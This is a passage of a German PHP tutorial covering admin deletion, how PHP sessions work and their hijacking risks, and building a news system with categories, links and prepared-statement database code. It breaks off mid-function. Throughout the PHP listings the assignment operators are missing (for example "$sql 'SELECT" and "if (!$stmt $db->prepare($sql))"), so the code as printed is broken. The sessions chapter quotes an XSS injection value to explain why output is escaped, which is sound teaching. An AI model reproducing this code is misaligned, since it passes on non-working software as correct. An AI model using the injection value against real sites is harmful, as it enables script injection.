<form action="index.php?section=admin&amp;cat=Admin&amp;action=del" method="post">
    <fieldset>
        <legend>Admin löschen</legend>
        <label>Admin ID: <input type="text" name="AdminID" /></label>
        <input type="submit" name="formaction" value="Admin löschen" />
    </fieldset>
</form>

In der Include-Datei admin_Admin_del.php zeigen wir beim Aufruf über die GET-Methode das Template an.

<?php
$ret 
= array();
$ret['filename'] = 'admin_Admin_del.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
?>

Wenn die Datei über die POST-Methode aufgerufen wird prüfen wir zuerst die Formulardaten und löschen dann ggf. die Datensätze aus der Adminrechte-Tabelle.

<?php
$ret 
= array();
$ret['filename'] = 'admin_Admin_del.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
if (!isset(
$_POST['formaction'], $_POST['AdminID'])) {
    return 
INVALID_FORM;
}
if (
'' == $AdminID trim($_POST['AdminID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            UserID
        FROM
            Adminrechte
        WHERE
            UserID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$AdminID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($AdminID);
if (!
$stmt->fetch()) {
    return 
'Es wurde kein Admin mit dieser ID gefunden.';
}
$stmt->close();
if (
$AdminID == $UserID) {
    return 
'Sie können sich nicht selbst löschen.';
}
$sql 'DELETE FROM
            Adminrechte
        WHERE
            UserID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$AdminID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();
return 
showInfo('Der Admin wurde gelöscht.');
?>

Und schon kann man ein Admin löschen.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Sessions

  1. Was ist eine Sitzung?
  2. Sessions in PHP
  3. Session-IDs
  4. Erzeugen bzw. laden einer Session
  5. Session benutzen
  6. Übermitteln der Session-ID
  7. Dauer einer inaktiven Session
  8. Sicherheit von Sessions

1. Was ist eine Sitzung?

Je nach Definition ist eine Sitzung etwas, was über einen längeren Zeitraum andauert. In unserem Fall könnte man z.B. Denken es ist damit der Zeitraum zwischen Beginn und Ende der Internetbenutzung, die an einem Stück stattfindet. Wenn man jetzt vom Flatrate-Verhalten absieht könnte z.B. die Internetnutzung an der Arbeit um 9:00 Beginnen und um 12:00 enden. Diesen Zeitraum nennt man dann Sitzung.

Für Webserver (und somit für PHP) existiert der Begriff Sitzung nicht so wie wir ihn kennen, besonders nicht in dieser zeitlichen Länge. Für ihn ist eine Sitzung vom Verbindungsaufbau vom Client bis zum Senden der Antwort (meist HTML-Code), oder schlicht einfach die Dauer des Requests. Dabei ist jede Anfrage in sich geschlossen, es gibt (für den Webserver) keine semantische Verbindung zwischen zwei Anfragen. Dies kann unerwünscht sein, wenn man sich z.B. das beliebte Beispiel eines Warenkorbs eines Internetshops anguckt. Dort würde man eine Sitzung mit der Verweildauer im Internetshop gleichsetzen. Denn die Produkte die der Kunde ausgewählt hat müssen im Warenkorb hinterlegt werden und wenn er zur Kasse geht wird der Warenkorb ausgelesen und die Bestellung wird abgeschlossen. Was für den Benutzer wie eine lineare Führung durch den Bestellprozess ist ist für den Webserver nichts anderes als voneinander unabhängige Requests von beliebige Clients. Er weiß nicht das der Request vor 5 Sekunden semantisch zum aktuellen Request passt.

2. Sessions in PHP

Wenn wir Daten von einem Skript an ein anderes Skript schicken benutzen wir z.B. Links mit GET-Variablen oder Formulare mit hidden-Feldern. Dabei stoßen wir auf einige Grenzen denn wir sollten keine überlange URLs generieren die alle Daten enthalten die wir weitersenden wollen. Auch sollten wir keine Formulare mit riesigen hidden-Feldern. Und es könnte abenteuerlich werden wenn wir versuchen Arrays weiterzuleiten.

Aus all den Problemen mit der Datenweitergabe gibt es in PHP ein Sitzungs-System, kurz Sessions. Das heißt das man sich als Programmierer nicht mehr so viel Gedanken machen muss wie man Daten von einem Skript an das nächste Skript übergibt. Denn bei Sessions wird nur eine Identifikationsmarke weitergereicht.

3. Session-IDs

Da für ein Webserver jeder Request unabhängig von den anderen ist müssen wir in PHP irgendwie die richtige Session auswählen die wir (weiter)verwenden wollen. Daher brauchen wir eine Identifikation für die zu wählende Session. Spontan könnte man an folgende Beispiele denken.

Immer wenn eine Session generiert wird wird auch eine zufällige Identifikation erstellt, die sog. Session-ID. Mit dieser findet der Webserver die richtige Session wieder. Da diese Session-ID reicht um die richtige Session wiederzufinden reicht es auch nur diese Session-ID an das nächste Skript zu schicken. Wenn das nächste Skript die Session-ID sieht kann es die vorherige Session anhand dieser ID wieder laden. Wenn man also URLs der Form index.php?PHPSESSID=6ead67974b4a6794... sieht... das ist die Session-ID.

4. Erzeugen bzw. laden einer Session

Um in PHP eine Session zu starten bzw. zu erzeugen wird die Funktion session_start verwendet. Die selbe Funktion wird auch verwendet um eine vorherige Session zu starten. Somit braucht man sich keine Gedanken machen ob man nun eine alte Session laden möchte oder ob man eine neue beginnen möchte da man so oder so nur eine Funktion verwendet. Wenn eine Session-ID übergeben wurde und unter dieser ID eine Session vorhanden ist so läd die Funktion session_start die Session wieder. Wenn keine Session mit der angegebenen Session-ID gefunden wurde oder überhaupt keine Session-ID angegeben ist wird eine neue Session generiert.

5. Session benutzen

Nachdem eine Session erzeugt bzw. geladen wurde legt PHP ein neues Superglobales Array $_SESSION an. In diesem Array können nun alle Daten gespeichert werden die man möchte. Da es ein normales Array ist wird es auch wie ein normales Array benutzt.

<?php
session_start
();
// nun haben wir $_SESSION
$_SESSION['Foo'] = 'Bar';
echo 
$_SESSION['Username'];
?>

Man kann mit dem Array alles machen, jedoch sollte man nicht das ganze Array als solches mit unset($_SESSION); löschen. Die Session wird abgespeichert wenn das PHP-Skript zuende ist oder die Funktion session_write_close aufgerufen wird, je nach dem was früher eintritt. Dann wird das $_SESSION-Array ausgelesen und die Daten in eine Daten gespeichert die später anhand der Session-ID identifiziert wird. Je nach Installation und Konfiguration von PHP wird dieses Datei z.B. als /tmp/sess_5dae76576c5a7e5c4c2a54 gespeichert. Dort liegt sie dann bis sie wieder durch einen session_start-Aufruf geladen wird.

6. Übermitteln der Session-ID

Um im nächsten Skript die richtige Session zu laden müssen wir die Session-ID übermitteln. Es gibt allgemein 3 Wege Daten an ein PHP-Skript zu senden (unabhängig von Sessions): GET, POST und COOKIE. Die Session-ID kann über jeden dieser Wege gesendet werden. Als GET-Variable wird sie in der Form PHPSESSID=... übermittelt, als POST-Variable in der Form <input type="hidden" name="PHPSESSID" value="..." /> und als COOKIE der Form PHPSESSID=.... In der Regel muss man sich entscheiden wie man die Session-ID übermittelt. In URLs könnte sie verwirren, Cookies können deaktiviert sein und nicht überall ist ein Formular vorhanden. Die Funktion session_start versucht ein Cookie zu senden, in der die Session-ID steht. Daher muss diese Funktion relativ früh aufgerufen werden da sie entsprechend den HTTP-Header ergänzt. Es gibt ne Menge an Konfigurationen bezüglich Sessions wie z.B. der Transport der Session-ID. Hier könnte auch die Einstellung session.use_trans_sid interessant sein. Auf jedenfall wir die Session-ID in der Konstante SID abgelegt (durch session_start). Die Konstante hat die Form name=..., wobei name der Variablenname der Session-ID ist (standardmäßig PHPSESSID) und die Punkte die Session-ID entsprechen. Diese Konstante kann somit relativ einfach in URLs verwendet werden.

<?php
echo '<a href="index.php?section=foobar&amp;'.htmlspecialchars(SID).'">Link</a>';
?>

Auch wenn die Konstante SID durch PHP erstellt wird wird ihr Inhalt teils durch Benutzereingaben bestimmt. Wenn die Session-ID den Inhalt " onload="alert(...); enthält hätten wir eine XSS-Lücke. Daher jagen wir die Konstante durch htmlspecialchars. Falls beide Werte getrennt benötigt werden (also Variablenname und Session-ID) kann man die Funktionen session_name und session_id verwenden.

7. Dauer einer inaktiven Session

Die Lebensdauer einer inaktiven Session ist sehr kurz, je nach Konfiguration etwa 30 Minuten. Wenn sie innerhalb dieser Zeit nicht geladen wird wird sie von PHP gelöscht und ist weg. Dies erklärt auch einige Fehlermeldungen in anderen Webanwendung wenn es plötzlich heißt "Ihre Session ist abgelaufen, melden sie sich bitte neu an". Dann hat man sich zuviel Zeit gelassen und PHP hat aufgeräumt und alte Sessions gelöscht. Dies bedeutet insbesondere das man Sessions nicht verwendet um persistente Daten zu speichern. Also bei einem Newssystem sollte man die News nicht in einer Session speichern. Sessions dienen wirklich nur der temporären Übertragen von vielen Daten.

8. Sicherheit von Sessions

Die Inhalte von einer Session können in der Regel nur vom PHP-Skript bestimmt werden, nicht durch den Benutzer. Anhand der Session-ID kann der Benutzer also nicht irgendwie die Session auslesen oder sogar bearbeiten. Daher sind alle Daten in einer Session vertrauenswürdig, es sei denn sie sind natürlich durch Benutzereingaben gefüllt. So braucht man z.B. für ein Login nicht die UserID und das Password speichern, die UserID reicht völlig. Denn wenn die UserID vorhanden ist hat man (hoffentlich) vorher auch geprüft ob der Login gültig ist.

Der Schwachpunkt ist hingegen die Session-ID. Da die Session-ID reicht um die richtige Session zu laden ist sie ein beliebtes Ziel von Crackern sie auszulesen und mitzubenutzen. Ein normaler Admin loggt sich ein und ein Cracker hijacked die Session-ID und benutzt seinen Account mit. Hier muss man sich was einfallen lassen wie z.B. die IP-Adresse mitspeichern aber der Kreativität von Cracker sind keine Grenzen gesetzt.

Da Sessions im Dateisystem normale Dateien sind und in /tmp/ abgelegt werden können sie von jedem PHP-Skript geladen werden oder sogar durch einen einfachen Texteditor auf dem Server. So kann ein Cracker den Inhalt der Session nach belieben verändern bzw. durch ein PHP-Skript auf den Server. Aber wenn der Cracker schon so weit im System ist hat man ganz andere Probleme als eine Session mit komische Daten...

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Erweitertes Newsskript

  1. Funktionalität des neuen Newsskripts
  2. Aufbaue der MySQL-Tabellen
  3. Kategorie hinzufügen
  4. Kategorie bearbeiten
  5. Kategorie löschen
  6. News hinzufügen
  7. News bearbeiten
  8. News löschen
  9. News anzeigen
  10. SELECT-Anfragen gruppieren und Spezialfunktionen verwenden
  11. Entwickeln der SELECT-Anfrage für die News
  12. News laden und anzeigen
  13. Anzeigen und schreiben von Newskommentaren
  14. Newskommentar bearbeiten
  15. Kommentare löschen

1. Funktionalität des neuen Newsskripts

Da wir nun ein Loginsystem haben können wir ein neues Newsskript mit mehr Funktionalität schreiben. Neben der eigentlichen News wird es im Newssystem auch Links für Quellen, Kommentare für Newsbeiträge und Newskategorien geben.

2. Aufbaue der MySQL-Tabellen

Wir werden user Newssystem so schreiben das eine News zu einer Kategorie gehört. Wenn man möchte das eine News zu mehreren Kategorien gehört muss man ähnliche Tabellen wie für unser Adminbereich anlegen. In unserem Fall erstellen wir zuerst die Tabelle News_Kategorie für die Kategorien.

Dann gibt es natürlich die Tabelle News mit den Newseinträgen.

Für die Kommentare der News legen wir die Tabelle News_Kommentar an.

Falls es zu einer News Quellenangaben oder anderseitig Links gibt werden diese in der Tabelle News_Link gespeichert.

Diese Tabellen fügen wir nun mit phpMyAdmin in die Datenbank ein. Die alte News-Tabelle muss man ggf. vorher löschen.

3. Kategorie hinzufügen

Zuerst schreiben wir den Adminteil in der wir die Kategorien bearbeiten können da es ohne Kategorien auch keine News geben kann. In der Rechteliste-Tabelle fügen wir dafür das neue Recht NewsKat ein. Aufgrund des neuen Recht werden wir die Dateien admin_NewsKat_add.php, admin_NewsKat_edit.php und admin_NewsKat_del.php hinzufügen müssen. Aber zuerst der Teil zum hinzufügen neuer Kategorien.

Zuerst schreiben wir die Template-Datei admin_NewsKat_add.tpl.

<form action="index.php?section=admin&amp;cat=NewsKat&amp;action=add" method="post">
    <fieldset>
        <legend>Newskategorie hinzufügen</legend>
        <label>Name: <input type="text" name="Name" /></label>
        <input type="submit" name="formaction" value="Kategorie hinzufügen" />
    </fieldset>
</form>

Die Include-Datei admin_NewsKat_add.php sieht wie folgt aus.

<?php
$ret 
= array();
$ret['filename'] = 'admin_NewsKat_add.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
if (!isset(
$_POST['formaction'], $_POST['Name'])) {
    return 
INVALID_FORM;
}
if (
'' == $Name trim($_POST['Name'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID
        FROM
            News_Kategorie
        WHERE
            Name = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('s'$Name);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
if (
$stmt->fetch()) {
    return 
'Es ist bereits eine Kategorie mit diesen Namen vorhanden.';
}
$stmt->close();
$sql 'INSERT INTO
            News_Kategorie(Name)
        VALUES
            (?)'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('s'$Name);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();
return 
showInfo('Die Kategorie wurde hinzugefügt.');
?>

4. Kategorie bearbeiten

Wir beginnen wieder zuerst mit den Template-Dateien. Zuerst schreiben wir die Datei admin_NewsKat_edit_select.tpl um eine Kategorie auszuwählen.

<?php
/* Daten:
 *   Kategorien - Ein Array mit allen bereits vorhandenen Kategorien. Bei einem Arrayelement
 *                ist der Schlüssel die ID und der Wert der Name der Kategorie.
 */
?><form action="index.php?section=admin&amp;cat=NewsKat&amp;action=edit" method="post">
    <fieldset>
        <legend>Kategorie wählen</legend>
        <label>Kategorie <select name="KatID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['Kategorien'] as $key => $value) { ?>
            <option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="Kategorie wählen">
    </fieldset>
</form>

In der Include-Datei zeigen wir dieses Template an wenn die Datei nicht mit der POST-Methode aufgerufen wurde.

<?php
$ret 
= array();
$ret['filename'] = 'admin_NewsKat_edit_select.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    
$sql 'SELECT
                ID,
                Name
            FROM
                News_Kategorie
            ORDER BY
                Name ASC'
;
    if (!
$result $db->query($sql)) {
        return 
$db->error;
    }
    
$Kategorien = array();
    while (
$row $result->fetch_assoc()) {
        
$Kategorien[$row['ID']] = $row['Name'];
    }
    
$ret['data']['Kategorien'] = $Kategorien;
    
$result->close();
    return 
$ret;
}
?>

Wenn wir nun eine Kategorie auswählen zeigen wir die Daten in einem weiteren Template admin_NewsKat_edit_show.tpl an.

<?php
/* Daten:
 *    KatID - Die ID von der Kategorie
 *    Name - Der Name der Kategorie
 */
?><form action="index.php?section=admin&amp;cat=NewsKat&amp;action=edit" method="post">
    <fieldset>
        <legend>Kategorie bearbeiten</legend>
        <label>Name: <input type="text" name="Name" value="<?php echo htmlspecialchars($data['Name']); ?>" /></label>
        <input type="submit" name="formaction" value="Kategorie speichern" />
        <input type="hidden" name="KatID" value="<?php echo $data['KatID']; ?>" />
    </fieldset>
</form>

Anhand der benötigten Variablen wissen wir wie unserer Include-Datei aussehen muss.

<?php
    
// [...]
    
$ret['data']['Kategorien'] = $Kategorien;
    
$result->close();
    return 
$ret;
}
if (!isset(
$_POST['formaction'], $_POST['KatID'])) {
    return 
INVALID_FORM;
}
if (
'' == $KatID trim($_POST['KatID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID,
            Name
        FROM
            News_Kategorie
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$KatID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($KatID$Name);
if (!
$stmt->fetch()) {
    return 
'Es wurde keine News mit der angegebenen ID gefunden.';
}
$stmt->close();
if (
$_POST['formaction'] == 'Kategorie speichern') {
    
// todo
} else {
    
$ret['data']['KatID'] = $KatID;
    
$ret['data']['Name'] = $Name;
    
$ret['filename'] = 'admin_NewsKat_edit_show.tpl';
    return 
$ret;
}
?>

Wenn der Admin auf Kategorie speichern klickt speichern wie den neuen Namen ab, solange er nicht doppel oder leer ist.

<?php
// [...]
if ($_POST['formaction'] == 'Kategorie speichern') {
    if (!isset(
$_POST['Name'])) {
        return 
INVALID_FORM;
    }
    if (
'' == $Name trim($_POST['Name'])) {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                News_Kategorie
            WHERE
                Name = ? AND
                ID != ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('si'$Name$KatID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    if (
$stmt->fetch()) {
        return 
'Es ist bereits eine Kategorie mit den Namen vorhanden.';
    }
    
$stmt->close();
    
$sql 'UPDATE
                News_Kategorie
            SET
                Name = ?
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('si'$Name$KatID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->close();
    return 
showInfo('Die Kategorie wurde bearbeitet.');
} else {
// [...]
?>

5. Kategorie löschen

Wie beim Bearbeiten schreiben wir ein Template welches eine Auswahlliste aller Kategorien bereitstellt. Das Template ist fast identisch wie beim Bearbeiten.

<?php
/* Daten:
 *   Kategorien - Ein Array mit allen bereits vorhandenen Kategorien. Bei einem Arrayelement
 *                ist der Schlüssel die ID und der Wert der Name der Kategorie.
 */
?><form action="index.php?section=admin&amp;cat=NewsKat&amp;action=del" method="post">
    <fieldset>
        <legend>Kategorie wählen</legend>
        <label>Kategorie <select name="KatID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['Kategorien'] as $key => $value) { ?>
            <option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="Kategorie löschen">
    </fieldset>
</form>

In der Include-Datei laden wir erstmal alle Kategorien in ein Array und zeigen das Template an.

<?php
$ret 
= array();
$ret['filename'] = 'admin_NewsKat_del.tpl';
$ret['data'] = array();
$sql 'SELECT
            ID,
            Name
        FROM
            News_Kategorie
        ORDER BY
            Name ASC'
;
if (!
$result $db->query($sql)) {
    return 
$db->error;
}
$Kategorien = array();
while (
$row $result->fetch_assoc()) {
    
$Kategorien[$row['ID']] = $row['Name'];
}
$ret['data']['Kategorien'] = $Kategorien;
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
?>

Beim Löschen müssen wir aufpassen das wir keine Kategorie löschen zu denen noch Newsbeiträge gehören. Daher schreiben wir einige Abfragen ob wir die News auch wirklich löschen können.

<?php
// [...]
if ('POST' != $_SERVER['REQUEST_METHOD']) {
    return 
$ret;
}
if (!isset(
$_POST['formaction'], $_POST['KatID'])) {
    return 
INVALID_FORM;
}
if (
'' == $KatID trim($_POST['KatID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID
        FROM
            News_Kategorie
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$KatID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($KatID);
if (!
$stmt->fetch()) {
    return 
'Es wurde keine Kategorie mit der angegebenen ID gefunden.';
}
$stmt->close();

$sql 'SELECT
            ID
        FROM
            News
        WHERE
            KatID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$KatID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
if (
$stmt->fetch()) {
    return 
'Es gibt noch Newsbeiträge die diese Kategorie verwenden.';
}
$stmt->close();

$sql 'DELETE FROM
            News_Kategorie
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$KatID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();
return 
showInfo('Die Kategorie wurde gelöscht.');
?>

6. News hinzufügen

Beim hinzufügen (und bearbeiten) einer News müssen wir uns überlegen wie wir die Formulare aufbauen. Neben der eigentlichen News müssen z.B. auch die Newslinks angegeben werden. Es gibt verschiedene Möglichkeiten wie man das machen kann.

So hoffnungslos es auch scheinen mag, es gibt ne Lösung genannt Session. Wir bereiten die Newserstellung vor indem wir erst alle Daten in einer Session speichern und dann erst in die Datenbank einfügen wenn wir fertig sind. So wird die Datenbank nicht vorher mit ungenutzten Müll gefüttert sondern alle Daten liegen erstmal in der Session. Wenn der Vorgang abgebrochen wird verfällt die Session eh nach einiger Zeit.

Zur Vorbereitung der Session setzen wir die session.use_only_cookies-Einstellung auf 1, damit die Session-ID nur per Cookie übermittelt wird. Dies machen wir in der index.php-Datei nach dem einstellen des Error-Reportings.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
ini_set('session.use_only_cookies'1);

// [...]
?>

Die Template-Datei sieht nun sehr überladen aus.

<?php
/* Daten:
 *    Titel - Der Titel der News
 *    Inhalt - Der Text der News
 *    KatID - Die ID der aktuell gewählten Kategorie
 *    Kategorien - Ein Array mit allen Kategorien. Bei einem Arrayelement ist der Schlüssel
 *                 die ID und der Wert der Name der Kategorie.
 *    Links - Ein Array mit den Links die zu der News gehört. Bei einem Arrayelement ist der
 *            Schlüssel eine fortlaufende Nummer, der Wert entspricht einem assoziativen
 *            Array mit den Schlüssel 'URL' und 'Beschreibung' mit den entsprechenden Werten.
 */
?><form action="index.php?section=admin&amp;cat=News&amp;action=add" method="post">
    <fieldset>
        <legend>News hinzufügen</legend>
        <label>Titel <input type="text" name="Titel" value="<?php echo htmlspecialchars($data['Titel']); ?>" /></label>
        <label>Inhalt <textarea name="Inhalt" cols="40" rows="10"><?php echo htmlspecialchars($data['Inhalt']); ?></textarea></label>
        <label>Kategorie <select name="KatID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['Kategorien'] as $key => $value) {
                      if ($data['KatID'] == $key) { ?>
            <option value="<?php echo $key; ?>" selected="selected"><?php echo htmlspecialchars($value); ?></option>
            <?php     } else { ?>
            <option value="<?php echo $key; ?>"><?php echo htmlspecialchars($value); ?></option>
            <?php     }
                  } ?>
                </select>
            </label>
        <fieldset>
            <legend>Newslinks</legend>
            <?php if (count($data['Links'])) { ?>
            <ul>
                <?php foreach ($data['Links'] as $key => $value) { ?>
                <li><label>
                    <input type="checkbox" name="LinkID[]" value="<?php echo $key; ?>"/>
                        <?php echo htmlspecialchars($value['Beschreibung']); ?></label> - 
                        <a href="<?php echo htmlspecialchars($value['URL']); ?>"><?php echo htmlspecialchars($value['URL']); ?></a>
                </li>
                <?php } ?>
            </ul>
            <input type="submit" name="formaction" value="Markierte Links löschen" />
            <?php } else { ?>
            <p class="info">
                Es sind momentan keine Links hinzugefügt.
            </p>
            <?php } ?>
            <fieldset>
                <legend>Neuen Link hinzufügen</legend>
                <label>URL: <input type="text" name="URL" /></label>
                <label>Beschreibung: <input type="text" name="Beschreibung" /></label>
                <input type="submit" name="formaction" value="Link hinzufügen" />
            </fieldset>
        </fieldset>
        <input type="submit" name="formaction" value="News hinzufügen" />
    </fieldset>
</form>

Wie man sieht wird das Template mit diversen Werten gefüllt und das Template selbst enthält mehrere Submit-Buttons mit unterschiedlichen Beschriftungen für entsprechend unterschiedliche Aktionen. All diese Aktionen müssen wir in unserem PHP-Skript abfragen. Außerdem müssen wir eine Session starten und alle Felder vorinitialisieren.

<?php
$ret 
= array();
$ret['filename'] = 'admin_News_add.tpl';
$ret['data'] = array();

$sql 'SELECT
            ID,
            Name
        FROM
            News_Kategorie
        ORDER BY
            Name ASC'
;
if (!
$result $db->query($sql)) {
    return 
$db->error;
}
$Kategorien = array();
while (
$row $result->fetch_assoc()) {
    
$Kategorien[$row['ID']] = $row['Name'];
}
$ret['data']['Kategorien'] = $Kategorien;

session_start();
if (!isset(
$_SESSION['News']) OR 'POST' != $_SERVER['REQUEST_METHOD']) {
    
$_SESSION['News'] = array();
    
$_SESSION['News']['Titel'] = '';
    
$_SESSION['News']['Inhalt'] = '';
    
$_SESSION['News']['KatID'] = 0;
    
$_SESSION['News']['Links'] = array();
} else {
    
// [...]
}
$ret['data']['Titel'] = $_SESSION['News']['Titel'];
$ret['data']['Inhalt'] = $_SESSION['News']['Inhalt'];
$ret['data']['KatID'] = $_SESSION['News']['KatID'];
$ret['data']['Links'] = $_SESSION['News']['Links'];
return 
$ret;
?>

Falls ein Formularknopf verwendet wird prüfen wir zuerst ob alle Formularfelder vorhanden ist, egal ob wir sie in diesem Aufruf verwenden oder nicht. Danach speichern wir stehts die Felder Titel, Inhalt und KatID in der Session.

<?php
// [...]
} else {
    
// Aufruf der POST und Session vorinitialisiert
    
if (!isset($_POST['formaction'], $_POST['Titel'], $_POST['Inhalt'],
            
$_POST['KatID'], $_POST['URL'], $_POST['Beschreibung'])) {
        return 
INVALID_FORM;
    }

    
// speichern der allgemeinen newsdaten
    
$_SESSION['News']['Titel'] = $_POST['Titel'];
    
$_SESSION['News']['Inhalt'] = $_POST['Inhalt'];
    
$_SESSION['News']['KatID'] = $_POST['KatID'];
}
// [...]
?>

Wenn wir einen Link hinzufügen wollen prüfen wir die beiden Felder URL und Beschreibung und erweitern das Array.

<?php
    
// [...]
    // speichern der allgemeinen newsdaten
    
$_SESSION['News']['Titel'] = $_POST['Titel'];
    
$_SESSION['News']['Inhalt'] = $_POST['Inhalt'];
    
$_SESSION['News']['KatID'] = $_POST['KatID'];

    if (
'Link hinzufügen' == $_POST['formaction']) {
        if (
'' == $URL trim($_POST['URL']) OR
                
'' == $Beschreibung trim($_POST['Beschreibung'])) {
            return 
EMPTY_FORM;
        }
        
$_SESSION['News']['Links'][] = array('URL' => $URL'Beschreibung' => $Beschreibung);
    }
}
// [...]
?>

Wenn wir Links löschen wollen durchlaufen wir das Array und löschen die entsprechenden Arrayelemente aus der Liste.

<?php
        
// [...]
        
$_SESSION['News']['Links'][] = array('URL' => $URL'Beschreibung' => $Beschreibung);
    }
    if (
'Markierte Links löschen' == $_POST['formaction']) {
        if (!isset(
$_POST['LinkID'])) {
            return 
EMPTY_FORM;
        }
        if (!
is_array($_POST['LinkID'])) {
            return 
INVALID_FORM;
        }
        foreach (
$_POST['LinkID'] as $IDs) {
            unset(
$_SESSION['News']['Links'][$IDs]);
        }
    }
}
// [...]
?>

Der spaßige Teil ist die Aktion News hinzufügen. Zuerst prüfen wir ob alle Texte eingegeben sind, dann ob die gewählte Kategorie auch existiert und fügen dann die News und die Links in die Datenbank ein.

<?php
        
// [...]
        
foreach ($_POST['LinkID'] as $IDs) {
            unset(
$_SESSION['News']['Links'][$IDs]);
        }
    }
    if (
'News hinzufügen' == $_POST['formaction']) {
        if (
'' == $Titel trim($_SESSION['News']['Titel']) OR
                
'' == $Inhalt trim($_SESSION['News']['Inhalt']) OR
                
'' == $KatID trim($_SESSION['News']['KatID'])) {
            return 
EMPTY_FORM;
        }
        
$Links $_SESSION['News']['Links'];

        
// gucken ob es die Kategorie gibt
        
$sql 'SELECT
                    ID
                FROM
                    News_Kategorie
                WHERE
                    ID = ?'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('i'$KatID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$stmt->bind_result($KatID);
        if (!
$stmt->fetch()) {
            return 
'Es wurde keine Kategorie mit der angegebenen ID gefunden.';
        }
        
$stmt->close();

        
$sql 'INSERT INTO
                    News(Titel, Inhalt, Datum, KatID, AutorID)
                VALUES
                    (?, ?, NOW(), ?, ?)'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }
        
$stmt->bind_param('ssii'$Titel$Inhalt$KatID$UserID);
        if (!
$stmt->execute()) {
            return 
$stmt->error;
        }
        
$NewsID $stmt->insert_id;
        
$stmt->close();

        
$sql 'INSERT INTO
                    News_Link(NewsID, URL, Beschreibung)
                VALUES
                    (?,?,?)'
;
        if (!
$stmt $db->prepare($sql)) {
            return 
$db->error;
        }  
        foreach (
$Links as $Link) {
            
$stmt->bind_param('iss'$NewsID$Link['URL'], $Link['Beschreibung']);
            if (!
$stmt->execute()) {
                return 
$stmt->error;
            }
        }
        
$stmt->close();
        unset(
$_SESSION['News']); // Sessiondaten löschen, brauchen wir nicht mehr.
        
return showInfo('Die News wurde hinzugefügt.');
    }
}
// [...]
?>

7. News bearbeiten

Wenn wir eine News bearbeiten benutzen wir den selben Formularaufbau wie beim Hinzufügen. Wir müssen nur die Session anders vorinitialisieren. Statt leere Strings und Arrays füllen wir die Session mit einem Datensatz aus der News-Tabelle.

Zuerst schreiben wir den einfachen Fall wo wir eine News über eine Dropdown-Liste auswählen. Die admin_News_edit_select.tpl-Datei sieht wie folgt aus.

<?php
/*
 * Daten:
 *    News - Ein Array mit allen Newsbeiträgen. Bei einem Arrayelement ist der Schlüssel
 *           Die ID der News und der Wert ist ein assoziatives Array mit den folgenden
 *           Werten:
 *               Datum - Das Datum wann die News geschrieben wurde
 *               Titel - Der Titel der News, ungekürzt.
 */
?><form action="index.php?section=admin&amp;cat=News&amp;action=edit" method="post">
    <fieldset>
        <legend>News wählen</legend>
        <label>News: <select name="NewsID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['News'] as $key => $value) { ?>
            <option value="<?php echo $key; ?>">(<?php echo htmlspecialchars($value['Datum']); ?>)
                <?php echo htmlspecialchars($value['Titel']); ?></option>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="News wählen" />
    </fieldset>
</form>

Der erste Teil des PHP-Skripts sieht wie folgt aus.

<?php
$ret 
= array();
$ret['filename'] = 'admin_News_edit_select.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    
